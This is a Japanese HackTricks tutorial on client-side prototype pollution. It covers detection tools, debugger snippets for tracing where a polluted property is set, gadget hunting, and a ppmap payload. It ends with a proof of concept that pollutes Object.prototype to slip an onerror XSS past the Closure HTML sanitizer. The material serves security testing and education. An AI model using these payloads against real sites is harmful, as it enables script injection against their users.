Client Side Prototype Pollution

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

自動ツールを使用して発見する

ツール https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap および https://github.com/kosmosec/proto-find を使用して プロトタイプ汚染の脆弱性を見つける ことができます。

さらに、ブラウザ拡張機能 PPScan を使用して、アクセスするページ自動的にスキャンして プロトタイプ汚染の脆弱性を検出することもできます。

プロパティが使用されている場所をデバッグする

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Prototype Pollutionの根本原因を見つける

プロトタイプ汚染の脆弱性がツールによって特定された場合、コードが非常に複雑でない限り、location.hashdecodeURIComponent、またはlocation.searchなどのキーワードをChrome Developer Toolsで検索して脆弱性を見つけることができます。このアプローチにより、JavaScriptコードの脆弱なセクションを特定できます。

より大規模で複雑なコードベースの場合、脆弱なコードを発見するための直接的な方法は、次の手順に従うことです:

  1. ツールを使用して脆弱性を特定し、コンストラクタ内でプロパティを設定するためのペイロードを取得します。ppmapによって提供される例は次のようになります:constructor[prototype][ppmap]=reserved

  2. ページで最初に実行されるJavaScriptコードの最初の行にブレークポイントを設定します。このペイロードを使用してページをリフレッシュし、このブレークポイントで実行を一時停止します。

  3. JavaScriptの実行が一時停止されている間に、次のスクリプトをJSコンソールで実行します。このスクリプトは、'ppmap'プロパティが作成されたときにシグナルを送信し、その起源を特定するのに役立ちます:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. ソースタブに戻り、「スクリプトの実行を再開」を選択します。JavaScriptは実行を続行し、「ppmap」プロパティが予想通りに汚染されます。提供されたスニペットを使用すると、「ppmap」プロパティが汚染された正確な場所を特定できます。コールスタックを調べることで、汚染が発生した異なるスタックを観察できます。

調査すべきスタックを決定する際には、プロトタイプ汚染が頻繁に発生するJavaScriptライブラリファイルに関連するスタックを対象にすることがしばしば役立ちます。ライブラリファイルに関連付けられたスタックを特定するには、右側に表示されるライブラリファイルに関する情報を調べます(ガイダンスとして提供された画像と同様)。行4と6のように複数のスタックがある場合、汚染が発生した初回のスタックである行4のスタックを選択するのが論理的な選択肢です。スタックをクリックすると、脆弱なコードに移動します。

スクリプトガジェットの検索

ガジェットは、PPの脆弱性が発見された後に悪用されるコードです。

アプリケーションがシンプルな場合、srcdoc/innerHTML/iframe/createElementなどのキーワード検索し、ソースコードを確認してJavaScriptの実行につながるかどうかを確認できます。時には、これらのテクニックを使用してもガジェットを見つけることができないことがあります。その場合、純粋なソースコードのレビューにより、以下の例のような素敵なガジェットが明らかになります。

MithilライブラリコードでのPPガジェットの検索例

この解説をチェックしてください:https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

脆弱なライブラリのペイロードの再コンパイル

PPを介したHTMLサニタイザーのバイパス

この研究は、いくつかのHTMLサニタイザーライブラリによって提供されるサニタイズをバイパスするために使用するPPガジェットを示しています:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated